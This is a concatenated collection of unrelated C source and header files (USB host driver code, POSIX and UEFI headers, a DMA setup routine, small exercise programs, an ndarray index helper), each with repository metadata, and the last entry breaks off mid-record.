if(deviceObj->deviceState != USB_HOST_DEVICE_STATE_READY)
{
/* The device must be in a ready state */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
else
{
/* Set the request handle default to invalid */
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
/* Get a mutual exclusion lock as the control transfer object is a global
* resource */
if(OSAL_MUTEX_Lock(&(gUSBHostObj.mutexControlTransferObj), OSAL_WAIT_FOREVER)
== OSAL_RESULT_TRUE)
{
if(!deviceObj->controlTransferObj.inUse)
{
/* This means that there no control request in progress. We can assign
* request now. The request handle is updated to point to the device
* control transfer object. */
deviceObj->controlTransferObj.inUse = true;
*requestHandle = (USB_HOST_REQUEST_HANDLE)(&deviceObj->controlTransferObj);
}
else
{
/* A control transfer is in progress. */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
/* Unlock the mutual exclusion lock */
OSAL_MUTEX_Unlock(&(gUSBHostObj.mutexControlTransferObj));
}
else
{
/* The mutual exclusion lock could not be obtained */
result = USB_HOST_RESULT_REQUEST_BUSY;
}
if(*requestHandle != USB_HOST_REQUEST_HANDLE_INVALID)
{
/* Create the Setup packet */
_USB_HOST_FillSetupPacket(
&(deviceObj->setupPacket),
( USB_SETUP_DIRN_DEVICE_TO_HOST |
USB_SETUP_TYPE_STANDARD |
USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_GET_DESCRIPTOR,
( USB_DESCRIPTOR_CONFIGURATION << 8 ) + configurationValue , 0 , size ) ;
/* Set up the control transfer object. The endpoint halt
* clear request does not have a data stage. */
controlTransferObj = &deviceObj->controlTransferObj;
controlTransferObj->requestType = USB_HOST_CONTROL_REQUEST_TYPE_CONFIGURATION_DESCRIPTOR_GET;
controlTransferObj->controlIRP.data = buffer;
controlTransferObj->controlIRP.setup = &deviceObj->setupPacket;
controlTransferObj->controlIRP.size = deviceObj->setupPacket.wLength;
controlTransferObj->controlIRP.callback = _USB_HOST_DeviceControlTransferCallback;
controlTransferObj->controlIRP.userData = deviceHandle;
controlTransferObj->context = context;
controlTransferObj->callback = NULL;
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle, &(controlTransferObj->controlIRP)))
{
/* There was a problem while submitting the IRP. Update the result and
* the transfer handle. Return the control transfer object back to the
* device object */
result = USB_HOST_RESULT_FAILURE;
controlTransferObj->inUse = false;
*requestHandle = USB_HOST_REQUEST_HANDLE_INVALID;
}
else
{
result = USB_HOST_RESULT_SUCCESS;
}
}
}
}
}
}
}
return result;
}
| [
"http://support.microchip.com"
] | http://support.microchip.com |
03ad8aa2628434fd814fc572eecd1465ba41459a | d579699e6728aa74084f8cc4dc435007b9f523a8 | /data/signatures/posix/pwd.h | 79f26e0e07c5c47196b97793328e96b57a68f9a2 | [
"BSD-3-Clause"
] | permissive | BoomerangDecompiler/boomerang | b3c6b4e88c152ac6d437f3dd3640fd9ffa157cb6 | 411041305f90d1d7c994f67255b5c03ea8666e60 | refs/heads/develop | 2023-08-31T03:50:56.112711 | 2020-12-28T12:11:55 | 2020-12-28T17:38:56 | 7,819,729 | 281 | 41 | NOASSERTION | 2020-12-27T17:59:52 | 2013-01-25T12:26:59 | C++ | UTF-8 | C | false | false | 520 | h |
struct passwd
{
char *pw_name;
uid_t pw_uid;
gid_t pw_gid;
char *pw_dir;
char *pw_shell;
};
passwd *getpwnam(const char *name);
passwd *getpwuid(uid_t uid);
int getpwnam_r(const char *nam, struct passwd *pwd, char *buffer,
size_t bufsize, struct passwd **result);
int getpwuid_r(uid_t uid, struct passwd *pwd, char *buffer,
size_t bufsize, struct passwd **result);
void endpwent(void);
passwd *getpwent(void);
void setpwent(void);
| [
"ceeac@users.noreply.github.com"
] | ceeac@users.noreply.github.com |
5fac4fd1e6bbdc38e38c9a89cf178d106c3d6994 | 5c255f911786e984286b1f7a4e6091a68419d049 | /code/5cb36f5a-abd7-4084-bfa0-6240d0556244.c | 94a00f56990fdd09c10e82186127ac6d2e523773 | [] | no_license | nmharmon8/Deep-Buffer-Overflow-Detection | 70fe02c8dc75d12e91f5bc4468cf260e490af1a4 | e0c86210c86afb07c8d4abcc957c7f1b252b4eb2 | refs/heads/master | 2021-09-11T19:09:59.944740 | 2018-04-06T16:26:34 | 2018-04-06T16:26:34 | 125,521,331 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 253 | c | #include <stdio.h>
int main() {
int i=0;
int j=14;
int k;
int l;
k = 53;
l = 54;
k = i/j;
l = i/j;
l = i/j;
l = l/j;
l = l-j;
l = j-j;
k = k-k*i;
printf("vulnerability");
printf("%d%d\n",k,l);
return 0;
}
| [
"nharmon8@gmail.com"
] | nharmon8@gmail.com |
49e2b4b0fa504aec3d47967197d08f6d11c5e864 | 976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f | /source/git/extr_refs.c_ref_update_reject_duplicates.c | 84dc0073ded01dace1d90a027c9ed6c51cbb6ef5 | [] | no_license | isabella232/AnghaBench | 7ba90823cf8c0dd25a803d1688500eec91d1cf4e | 9a5f60cdc907a0475090eef45e5be43392c25132 | refs/heads/master | 2023-04-20T09:05:33.024569 | 2021-05-07T18:36:26 | 2021-05-07T18:36:26 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,321 | c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__ ;
/* Type definitions */
struct string_list {size_t nr; TYPE_1__* items; } ;
struct strbuf {int dummy; } ;
struct TYPE_2__ {int /*<<< orphan*/ string; } ;
/* Variables and functions */
int /*<<< orphan*/ BUG (char*) ;
int /*<<< orphan*/ _ (char*) ;
int /*<<< orphan*/ assert (struct strbuf*) ;
int /*<<< orphan*/ strbuf_addf (struct strbuf*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int strcmp (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int ref_update_reject_duplicates(struct string_list *refnames,
struct strbuf *err)
{
size_t i, n = refnames->nr;
assert(err);
for (i = 1; i < n; i++) {
int cmp = strcmp(refnames->items[i - 1].string,
refnames->items[i].string);
if (!cmp) {
strbuf_addf(err,
_("multiple updates for ref '%s' not allowed"),
refnames->items[i].string);
return 1;
} else if (cmp > 0) {
BUG("ref_update_reject_duplicates() received unsorted list");
}
}
return 0;
} | [
"brenocfg@gmail.com"
] | brenocfg@gmail.com |
56c705f8086aaaeaa1eb3209f88ebe850c6d6a48 | a33aac97878b2cb15677be26e308cbc46e2862d2 | /program_data/PKU_raw/38/24.c | ba836d949d7f6248e824e902be9c4f67dc4bad06 | [] | no_license | GabeOchieng/ggnn.tensorflow | f5d7d0bca52258336fc12c9de6ae38223f28f786 | 7c62c0e8427bea6c8bec2cebf157b6f1ea70a213 | refs/heads/master | 2022-05-30T11:17:42.278048 | 2020-05-02T11:33:31 | 2020-05-02T11:33:31 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 370 | c | int main(){
int n,i,j;
double a[100],sum,jun,s,m;
double *p=a;
scanf("%d",&n);
for(j=0;j<n;j++){
scanf("%lf",&m);
for(i=0;i<m;i++){
scanf("%lf",p+i);
}
sum=0;
for(i=0;i<m;i++){
sum=sum+*(p+i);
}
jun=sum/m;
sum=0;
for(i=0;i<m;i++){
sum=sum+(*(p+i)-jun)*(*(p+i)-jun);
}
s=sum/m;
s=sqrt(s);
printf("%.5lf\n",s);
}
return 0;
}
| [
"bdqnghi@gmail.com"
] | bdqnghi@gmail.com |
ca4ab00b9c616cc3a853131bf262d1cff3d35d49 | 65a45144e9de54ed1a0e85d04cba409dd36d8183 | /libft/ft_isprint.c | b8e45cb04ea6b01bb8cfa3bd04574b932083a010 | [] | no_license | Dogs624/so_long | 925ea8d24d96bf85cc6a7ab42769460d0cf26364 | d8d1c836d116331d55765480c9f2a240c8757678 | refs/heads/master | 2023-09-04T01:35:06.813754 | 2021-10-21T13:31:15 | 2021-10-21T13:31:15 | 419,315,731 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 949 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_isprint.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jvander- <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/07/01 12:09:49 by jvander- #+# #+# */
/* Updated: 2021/07/02 11:45:06 by jvander- ### ########.fr */
/* */
/* ************************************************************************** */
int ft_isprint(int c)
{
return (c <= 126 && c >= 32);
}
| [
"jvander-@student.s19.be"
] | jvander-@student.s19.be |
a22b76b34650df25c7835838ebabf6b5e9b80f5f | 10a8580aa44d33b7458429023c00de8c01ceda98 | /make/backtrace_test.c | f01aa7ac87959d9340e6c11a451cedf8486e1ee8 | [
"Apache-2.0"
] | permissive | newrelic/newrelic-php-agent | 87ad20e0a5abf0d2855e7d27a25c36454ae4389a | dfb359f0dbb53e4cbc5106b52c8f3807c7fc8d42 | refs/heads/main | 2023-08-15T10:28:24.372352 | 2023-08-14T17:29:31 | 2023-08-14T17:29:31 | 302,112,572 | 116 | 67 | Apache-2.0 | 2023-09-13T18:33:47 | 2020-10-07T17:35:01 | C | UTF-8 | C | false | false | 291 | c | /*
* Copyright 2020 New Relic Corporation. All rights reserved.
* SPDX-License-Identifier: Apache-2.0
*/
#include <execinfo.h>
int main(void) {
void* arr[100];
backtrace(arr, sizeof(arr) / sizeof(void*));
backtrace_symbols_fd(arr, sizeof(arr) / sizeof(void*), 1);
return 0;
}
| [
"noreply@github.com"
] | newrelic.noreply@github.com |
864687961bac0b955def8ee094edc25e61ea2c77 | 1f10c82447ff97e5e064267a00bc38ac5d5126ae | /src/app/main.h | 546b9934a92da7a66b69778e2089f1b4fa0afc4c | [] | no_license | chaosAD/SWD-for-ARM-Cortex-M4 | d3b5564fde606fb06d8f2e3e5c17c166e36bf66b | 937eca1abfffccdc4f3c8aba599e4dc94574331b | refs/heads/master | 2021-01-22T16:45:30.825367 | 2015-11-14T19:30:25 | 2015-11-14T19:56:14 | 45,586,109 | 0 | 0 | null | 2015-11-05T03:51:50 | 2015-11-05T03:51:50 | null | UTF-8 | C | false | false | 161 | h | #ifndef __MAIN_H
#define __MAIN_H
#include <stdio.h>
#include "Swd.h"
#include "ProgramWorker.h"
#include "SystemConfigure.h"
#include "Itm.h"
#endif // main_H
| [
"mygamelife1@gmail.com"
] | mygamelife1@gmail.com |
de1453d08019f602f3cdb2042d100c3bc68bea67 | 78e075a96220953df6cb832a2814fb44ef17b986 | /mips-ucontext.h | 3e43d222375d5dd381b081b00f5a04186b975321 | [
"dtoa",
"MIT"
] | permissive | BruceChen7/libtask-reading | 566af1b689054950ba46cf7549da8b1ad9f6ce6b | 4914c7d11b213a8a126c225909c5d56909e21ef4 | refs/heads/master | 2020-12-01T06:09:45.898361 | 2020-04-12T07:46:30 | 2020-04-12T07:46:30 | 230,573,027 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,346 | h | typedef struct mcontext mcontext_t;
typedef struct ucontext ucontext_t;
extern int swapcontext(ucontext_t*, const ucontext_t*);
extern void makecontext(ucontext_t*, void(*)(), int, ...);
/*
* Copyright (c) 1992, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Ralph Campbell.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)ucontext.h 8.1 (Berkeley) 6/10/93
* JNPR: ucontext.h,v 1.2 2007/08/09 11:23:32 katta
* $FreeBSD: src/sys/mips/include/ucontext.h,v 1.2 2010/01/10 19:50:24 imp Exp $
*/
struct mcontext {
/*
* These fields must match the corresponding fields in struct
* sigcontext which follow 'sc_mask'. That way we can support
* struct sigcontext and ucontext_t at the same time.
*/
int mc_onstack; /* sigstack state to restore */
int mc_pc; /* pc at time of signal */
int mc_regs[32]; /* processor regs 0 to 31 */
int sr; /* status register */
int mullo, mulhi; /* mullo and mulhi registers... */
int mc_fpused; /* fp has been used */
int mc_fpregs[33]; /* fp regs 0 to 31 and csr */
int mc_fpc_eir; /* fp exception instruction reg */
void *mc_tls; /* pointer to TLS area */
int __spare__[8]; /* XXX reserved */
};
struct ucontext {
/*
* Keep the order of the first two fields. Also,
* keep them the first two fields in the structure.
* This way we can have a union with struct
* sigcontext and ucontext_t. This allows us to
* support them both at the same time.
* note: the union is not defined, though.
*/
sigset_t uc_sigmask;
mcontext_t uc_mcontext;
struct __ucontext *uc_link;
stack_t uc_stack;
int uc_flags;
int __spare__[4];
};
| [
"bofengqiye7@gmail.com"
] | bofengqiye7@gmail.com |
a713f8f9b16bb63ee191374e00ba0e4e0dddefd1 | 1ba1144b09e97cbf1a79e9ba16b148d7284beddd | /lib/node_modules/@stdlib/ndarray/base/sub2ind/src/main.c | bc09f8921251d441acb88b5b3a7bddfe83b014f6 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"MIT",
"SunPro",
"BSD-3-Clause",
"BSL-1.0",
"LicenseRef-scancode-public-domain"
] | permissive | doc22940/stdlib | faecf4fbd61c3c5b5d782c3e1ffe78ecd6d5ab27 | 3bfc8bcf42ee5ee3db4db534aa2b2cbdbf131db7 | refs/heads/develop | 2021-03-02T15:52:14.912013 | 2020-02-15T19:20:34 | 2020-02-15T19:20:34 | 245,879,921 | 1 | 0 | Apache-2.0 | 2021-01-28T02:43:52 | 2020-03-08T20:06:08 | null | UTF-8 | C | false | false | 3,647 | c | /**
* @license Apache-2.0
*
* Copyright (c) 2018 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdint.h>
#include "stdlib/ndarray/index_modes.h"
#include "stdlib/ndarray/base/sub2ind.h"
/**
* Converts subscripts to a linear index.
*
* ## Notes
*
* - When provided fewer modes than dimensions, the function recycles modes using modulo arithmetic.
* - When provided a stride array containing negative strides, if an `offset` is greater than `0`, the function treats subscripts as mapping to a linear index in an underlying data buffer for the array, thus returning a linear index from the perspective of that buffer. If an `offset` is equal to `0`, the function treats subscripts as mapping to a linear index in an array view, thus returning a linear index from the perspective of that view. In short, from the perspective of a view, view data is always ordered.
* - In "error" mode, the function returns `-1` if a subscript is out-of-bounds.
*
* @param ndims number of dimensions
* @param shape array shape (dimensions)
* @param strides array strides
* @param offset location of the first indexed value **based** on the stride array
* @param sub subscripts
* @param nmodes number of modes
* @param modes specifies how to handle subscripts which exceed array dimensions
* @return linear index
*
* @example
* #include "stdlib/ndarray/index_modes.h"
* #include "stdlib/ndarray/base/sub2ind.h"
*
* int64_t ndims = 3;
* int64_t shape[] = { 3, 3, 3 };
* int64_t strides[] = { 9, 3, 1 };
* int64_t offset = 0;
*
* int64_t nmodes = 1;
* enum STDLIB_NDARRAY_INDEX_MODE modes[] = { STDLIB_NDARRAY_INDEX_ERROR };
*
* int64_t sub[] = { 1, 2, 2 };
*
* int64_t idx = stdlib_ndarray_sub2ind( ndims, shape, strides, offset, sub, nmodes, modes );
* // returns 17
*/
int64_t stdlib_ndarray_sub2ind( int64_t ndims, int64_t *shape, int64_t *strides, int64_t offset, int64_t *sub, int64_t nmodes, enum STDLIB_NDARRAY_INDEX_MODE *modes ) {
enum STDLIB_NDARRAY_INDEX_MODE mode;
int64_t idx;
int64_t s;
int64_t m;
int64_t j;
int64_t i;
idx = offset;
for ( i = 0; i < ndims; i++ ) {
m = shape[ i ];
j = sub[ i ];
mode = modes[ i%nmodes ];
if ( mode == STDLIB_NDARRAY_INDEX_CLAMP ) {
if ( j < 0 ) {
j = 0;
} else if ( j >= m ) {
j = m - 1;
}
} else if ( mode == STDLIB_NDARRAY_INDEX_WRAP ) {
if ( j < 0 ) {
j += m; // slight optimization to avoid modulo arithmetic when |j| <= m
if ( j < 0 ) {
j -= m*( (int64_t)( j/m ) ); // this is equivalent to `j mod m`, where the result has same sign as dividend (i.e., `j`); cannot use `%` as the sign of the result is implementation defined in C
if ( j != 0 ) {
j += m;
}
}
} else if ( j >= m ) {
j -= m; // slight optimization to avoid modulo arithmetic when m < j <= 2m
if ( j >= m ) {
j %= m;
}
}
} else if ( j < 0 || j >= m ) { // mode == 'error'
return -1;
}
s = strides[ i ];
// Check if array view...
if ( s < 0 && offset == 0 ) {
idx -= j * s; // increments idx
} else {
idx += j * s; // may increment or decrement idx
}
}
return idx;
}
| [
"kgryte@gmail.com"
] | kgryte@gmail.com |
da30381c640f96ee60904d4779110e378ac3a8ab | f7feeafac969d59711df7440a65510574d15c9b1 | /tubii_server/src/data.c | 631442726e5d010b94652fe27787f1e798385ae5 | [] | no_license | pennneutrinos/workspace_tubii | 34085ebcce1a6c086b0c8f7876f7c86917f12498 | 82d108f7b33113a6965f9f48df8c737fef2357be | refs/heads/master | 2020-04-12T06:10:38.834742 | 2018-02-09T00:05:04 | 2018-02-09T00:05:04 | 162,344,903 | 1 | 0 | null | 2018-12-18T21:02:44 | 2018-12-18T21:02:43 | null | UTF-8 | C | false | false | 2,120 | c | #include "ae.h"
#include <stdio.h>
#include "sock.h"
#include "anet.h"
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "record_info.h"
#include "sds.h"
#include "logging.h"
#include "data.h"
#define BUFSIZE 4096000 /* 5 MB */
Sock *data_stream;
extern aeEventLoop *el;
int dispatch_connect(aeEventLoop *el, long long id, void *data)
{
char err[ANET_ERR_LEN];
/* Try to connect to the dispatcher. If it fails, try again 10 seconds
* later */
int sock = anetTcpConnect(err, "192.168.1.100", 4002);
if (sock == ANET_ERR) {
Log(WARNING, "failed to connect to data stream server: %s.", err);
return 10000;
}
data_stream = sock_init(sock, BUFSIZE, 0);
return AE_NOMORE;
}
void write_data_buffer(aeEventLoop *el, int fd, void *data, int mask)
{
/* Write the data stream buffer to the data stream server. If it fails,
* free the data stream connection, and try to reconnect in 10 seconds. */
Sock *s = (Sock *)data;
if (sock_write(s)) {
Log(WARNING, "error sending data stream buffer");
aeDeleteFileEvent(el, s->fd, AE_WRITABLE);
sock_free(s);
data_stream = NULL;
if (aeCreateTimeEvent(el, 10000, dispatch_connect, NULL,
NULL) == AE_ERR) {
Log(WARNING, "failed to create dispatch_connect event");
}
return;
}
if (CB_BYTES(s->sendbuf) == 0) {
aeDeleteFileEvent(el, s->fd, AE_WRITABLE);
}
}
void write_to_data_stream(struct GenericRecordHeader *header, void *record)
{
/* Write `len` bytes from `buf` to the data stream connection buffer. */
/* Return immediately if we aren't connected */
if (data_stream == NULL) return;
if (sock_append_record(data_stream, header, record)) {
Log(WARNING, "write to data stream: %s", sock_err);
}
if (aeCreateFileEvent(el, data_stream->fd, AE_WRITABLE, write_data_buffer,
data_stream) != AE_OK) {
Log(WARNING, "failed to create write event for data stream "
"connection");
}
}
| [
"i.coulter1@hep.upenn.edu"
] | i.coulter1@hep.upenn.edu |
6366876632b474a7c9f20c8b54db71c9fa8bbd11 | 68da0b9b9ddd92537687a2adf218914221d2697a | /codeforces/business trip.c | 7a5f200773356ae485045eba9768ab2a117f4685 | [] | no_license | minhaz725/Contest-Programming | 71f298730fafba263a828d1b3182f465b2a51c43 | d15c546f36d59594bad787de88786cb57aac067c | refs/heads/master | 2023-04-05T20:41:26.996384 | 2021-04-16T16:19:31 | 2021-04-16T16:19:31 | 311,758,191 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 587 | c | #include <stdio.h>
int main()
{
int i,j,n,c,t;
scanf("%d",&n);
int a[12];
for(i=0;i<12;i++) scanf("%d",&a[i]);
if(n==0) {printf("0"); return 0;};
for(i=0;i<12-1;i++)
{
for(j=0;j<12-i-1;j++)
{
if(a[j]>a[j+1])
{
c=a[j];
a[j]=a[j+1];
a[j+1]=c;
}
}
}
c=0;
for(i=11,t=1;i>=0;i--,t++)
{
c=a[i]+c;
if(c>=n)
{
printf("%d",t);
return 0;
}
}
printf("-1");
return 0;
}
| [
"minhaz725@gmail.com"
] | minhaz725@gmail.com |
4f2ca07a7d5f63b2da90a2e3c091c7ad5566410f | fa3e58b66e54bcfea6ae349c58bea65dda1a1de1 | /src/dirtool.h | 9ebafe460a8a593ab907f6abf93e37052ad7e37d | [
"BSD-2-Clause"
] | permissive | MasterScott/Effy | a9c343f448cfe2bf0af8dc910dd3b0a378b758b7 | 0ef18a8f115606aeeb7323bede628b58e38badc8 | refs/heads/master | 2022-04-09T23:18:29.866318 | 2020-02-28T03:01:01 | 2020-02-28T03:01:01 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,835 | h | #pragma once
#ifndef __DIRTOOL_H__
#define __DIRTOOL_H__
#include <efi.h>
#include <stdbool.h>
#define MAX_FILE_INFO_SIZE 1024
#define MAX_PATH_LENGTH 512
struct _DIRTOOL_DRIVE;
typedef struct _DIRTOOL_FILE
{
bool isDir;
CHAR16 Path[MAX_PATH_LENGTH];
EFI_FILE_HANDLE FileHandle;
EFI_FILE_INFO* FileInfo;
EFI_DEVICE_PATH* DevicePath;
struct _DIRTOOL_DRIVE* Drive;
struct _DIRTOOL_FILE* ParentFolder;
struct _DIRTOOL_FILE* ChildFile;
} DIRTOOL_FILE;
typedef struct _DIRTOOL_DRIVE
{
bool available;
EFI_HANDLE Handle;
EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* FileSystem;
bool isOpened;
DIRTOOL_FILE RootFile;
} DIRTOOL_DRIVE;
typedef struct _DIRTOOL_DRIVE_ITERATOR
{
UINTN current;
} DIRTOOL_DRIVE_ITERATOR;
typedef struct _DIRTOOL_STATE
{
bool initialized;
EFI_HANDLE ImageHandle;
UINTN DriveCount;
DIRTOOL_DRIVE* Drives;
} DIRTOOL_STATE;
EFI_STATUS dirtool_init(DIRTOOL_STATE* state, EFI_HANDLE ImageHandle);
DIRTOOL_DRIVE_ITERATOR* dirtool_drive_iterator_start(DIRTOOL_STATE* state);
DIRTOOL_DRIVE* dirtool_drive_iterator_next(DIRTOOL_STATE* state, DIRTOOL_DRIVE_ITERATOR* iterator);
EFI_STATUS dirtool_drive_iterator_end(DIRTOOL_STATE* state, DIRTOOL_DRIVE_ITERATOR* iterator);
DIRTOOL_DRIVE* dirtool_get_current_drive(DIRTOOL_STATE* state, EFI_HANDLE ImageHandle);
DIRTOOL_FILE* dirtool_open_drive(DIRTOOL_STATE* state, DIRTOOL_DRIVE* drive);
DIRTOOL_FILE* dirtool_cd(DIRTOOL_FILE* pwd, CHAR16* NewFileName);
DIRTOOL_FILE* dirtool_cd_multi(DIRTOOL_FILE* pwd, CHAR16* Path);
EFI_STATUS __dirtool_release_file(DIRTOOL_FILE* file);
DIRTOOL_FILE* dirtool_go_up(DIRTOOL_FILE* pwd);
void dirtool_close_drive(DIRTOOL_STATE* state, DIRTOOL_DRIVE* drive);
EFI_STATUS dirtool_deinit(DIRTOOL_STATE* state);
CHAR8* dirtool_read_file(DIRTOOL_FILE* file);
#endif
| [
"github@public.swineson.me"
] | github@public.swineson.me |
4814beaa18ca932ad90e9e319a52a95f073e8835 | e8d1bbb3104ff4209ccc051aba4b4cdc363caf65 | /project/Nstartcode/MBF031C8T_n_reg/UART/UART_Print_DMA/HARDWARE/DMA/dma.c | 0e0bdfb4f24bb337ff81ea25ce68a064ab71defa | [] | no_license | SoCXin/MM32F031 | c3dd4a3597f7e0591fcf1b407af582208257ccc0 | a2109b76ae5a44ab55903ba53c456b9098e42ec0 | refs/heads/master | 2023-04-07T02:16:02.498002 | 2021-04-19T09:31:32 | 2021-04-19T09:31:32 | 251,277,845 | 1 | 1 | null | null | null | null | GB18030 | C | false | false | 1,882 | c | #include "dma.h"
//////////////////////////////////////////////////////////////////////////////////
//开发板
//DMA 代码
//////////////////////////////////////////////////////////////////////////////////
u16 DMA1_MEM_LEN;//保存DMA每次数据传送的长度
//DMA1的各通道配置
//这里的传输形式是固定的,这点要根据不同的情况来修改
//从存储器->外设模式/8位数据宽度/存储器增量模式
//DMA_CHx:DMA通道CHx
//cpar:外设地址
//cmar:存储器地址
//cndtr:数据传输量
/********************************************************************************************************
**函数信息 ：MYDMA_Config(DMA_Channel_TypeDef* DMA_CHx,u32 cpar,u32 cmar,u16 cndtr)
**功能描述 ：可修改根据输入参数修改配置的DMA配置
**输入参数 ：无
**输出参数 ：无
********************************************************************************************************/
void MYDMA_Config(DMA_Channel_TypeDef* DMA_CHx,u32 cpar,u32 cmar,u16 cndtr)
{
RCC->AHBENR|=RCC_AHBENR_DMA1EN; //开启DMA1时钟
DMA_CHx->CPAR=cpar; //DMA1 外设地址
DMA_CHx->CMAR=(u32)cmar; //DMA1,存储器地址
DMA1_MEM_LEN=cndtr; //保存DMA传输数据量
DMA_CHx->CNDTR=cndtr; //DMA1,传输数据量
DMA_CHx->CCR=0X00000000; //复位
DMA_CHx->CCR|=DMA_CCR1_DIR; //从存储器读
DMA_CHx->CCR&=~DMA_CCR1_CIRC; //普通模式
DMA_CHx->CCR&=~DMA_CCR1_PINC; //外设地址非增量模式
DMA_CHx->CCR|=DMA_CCR1_MINC; //存储器增量模式
DMA_CHx->CCR&=~DMA_CCR1_PSIZE_0; //外设数据宽度为8位
DMA_CHx->CCR&=~DMA_CCR1_MSIZE_0; //存储器数据宽度8位
DMA_CHx->CCR|=DMA_CCR1_PL_0; //中等优先级
DMA_CHx->CCR&=~DMA_CCR1_MEM2MEM; //非存储器到存储器模式
}
| [
"qitas@qitas.cn"
] | qitas@qitas.cn |
64c84063fc11a70c5733e7566843d91020a509ae | 4dfdd9e7ed9d2b09725f6ec14309bc7f8e126c8e | /expressions.h | 3ba14d61d6ad42499de733e592ff02c9d6bc5bd4 | [] | no_license | ZeyadOsama/data-structures | 0226083d35fa1df894b8101b89491fa92a0c4fa6 | 98fac8c1d6c3dd0f084c4d8f866350465d2f206f | refs/heads/master | 2021-09-10T08:27:18.004934 | 2018-03-22T22:34:47 | 2018-03-22T22:34:47 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 547 | h | #ifndef EXPRESSIONS_H_INCLUDED
#define EXPRESSIONS_H_INCLUDED
#include "myString.h"
#include "stack.h"
// boolean checks
int isAlphaOperand (char character);
int isNumericOperand (char character);
int isOperator (char character);
// conversion functions
String infixToPostfix (String infix);
String postfixToInfix (String postfix);
// evaluation functions
TYPE evaluatePostfix (String postfix);
TYPE evaluateInfix (String postfix);
// utility functions
int getPriority (char character);
#endif // STACK_H_INCLUDED
| [
"noreply@github.com"
] | ZeyadOsama.noreply@github.com |
d61cf95ffa4b76ee01cc1ae681e7dd4e8f188a4a | 19e356aa308d3adef259a912b29950a3af37a2e2 | /Temp/il2cppOutput/il2cppOutput/Parse_Unity_System_Threading_Tasks_Task_1_U3CU3Ec__DisplayCl_60.h | 962142bcfcf6c2df317c4008fedc366b862c0776 | [] | no_license | minuJeong/AcocGame | 87314d914b72290fff347cc590ae03669d10d6ba | 24eeaba66393890998d55a633fcbd17d984549b4 | refs/heads/master | 2021-03-12T23:51:57.818655 | 2015-03-29T12:44:58 | 2015-03-29T12:44:58 | 32,936,460 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 561 | h | #pragma once
#include <stdint.h>
// System.Action`1<System.Threading.Tasks.Task`1<System.Threading.Tasks.Task`1<System.Char>>>
struct Action_1_t11215;
// System.Object
#include "mscorlib_System_Object.h"
// System.Threading.Tasks.Task`1/<>c__DisplayClass1<System.Threading.Tasks.Task`1<System.Char>>
struct U3CU3Ec__DisplayClass1_t11216 : public Object_t
{
// System.Action`1<System.Threading.Tasks.Task`1<T>> System.Threading.Tasks.Task`1/<>c__DisplayClass1<System.Threading.Tasks.Task`1<System.Char>>::continuation
Action_1_t11215 * ___continuation;
};
| [
"minu.hanwool@gmail.com"
] | minu.hanwool@gmail.com |
524fdbfd2841583da34537fdaf9bc7c700050868 | 2f8261bcfc6416b200309b5969a7a46e29edfc8c | /utils/perl/c/i686-w64-mingw32/include/wsrm.h | c205add802f586d6d8a64d892a147bd6adf6e732 | [
